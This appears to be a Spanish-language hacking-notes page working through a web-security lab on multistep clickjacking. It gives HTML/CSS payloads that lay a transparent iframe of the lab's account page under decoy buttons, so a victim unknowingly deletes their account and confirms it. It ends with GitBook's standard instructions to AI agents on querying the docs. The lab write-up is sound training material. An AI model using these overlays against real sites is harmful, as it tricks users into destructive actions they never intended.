> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/clickjacking/multistep-clickjacking.md).

# Clickjacking de varios pasos

### Clickjacking en varios pasos

**Objetivo:** engañar al usuario para que haga clic en el botón Eliminar cuenta y luego confirme el cuadro de confirmación haciendo clic sucesivamente en dos señuelos: **"Haz clic primero en mí"** luego **"Haz clic después en mí"**.

**Credenciales proporcionadas para conectar con la cuenta (lab):** `wiener:peter`

* La página contiene un **eliminar cuenta** botón seguido de un cuadro de confirmación ("¿Estás seguro?") — así que tienes que desencadenar dos acciones sucesivas.

<figure><img src="/files/1287b88d83dfc8c7f0cb199f977d9396cfd3bd55" alt=""><figcaption></figcaption></figure>

* La idea es superponer dos áreas clicables (señuelos div) sobre una `iframe` que apunte a la `/my-account` página: el primer objetivo es el **Eliminar cuenta** botón, el segundo objetivo es el botón de confirmación que aparece luego.

<figure><img src="/files/db434bbdbb559ba5496cea1cf226605e4e8837ba" alt="" width="563"><figcaption></figcaption></figure>

* Hacemos que el iframe sea semitransparente (o con baja opacidad) para que el usuario vea el señuelo, pero en realidad haga clic en los elementos de la página objetivo.

```html
<style>
iframe{
height: 700px;
opacity: 0.1;
}
.first{
position: absolute;
top: 500px;
left: 100px;
}
.next{
position: absolute;
top: 500px;
left: 200px;
}

</style>

<div class="first" Haz clic primero en mí</div>
<div class="next" Haz clic después en mí</div>
<iframe src="https://0a23007b030f8bc780c8179e00450062.web-security-academy.net/my-account"</iframe>
```

<figure><img src="/files/8f57c82c052a861fc4ead6da59a31181f01453cd" alt="" width="429"><figcaption></figcaption></figure>

El código de abajo posiciona el iframe, coloca dos señuelos y muestra el segundo señuelo solo después de hacer clic en el primero. `iframe` apunta a la `/my-account` URL del laboratorio

```html
<style>
iframe{
height: 700px;
opacity: 0.1;
}
.first{
position: absolute;
top: 500px;
left: 100px;
}
.next{
position: absolute;
top: 310px;
left: 110px;
}

</style>

<div class="first"> Haz clic primero en mí</div>
<div class="next">Haz clic después en mí</div>
<iframe src="https://0a23007b030f8bc780c8179e00450062.web-security-academy.net/my-account"</iframe>
```

<figure><img src="/files/04f1ccca79e67cf537826419c7238b4482eccfe0" alt="" width="337"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/clickjacking/multistep-clickjacking.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
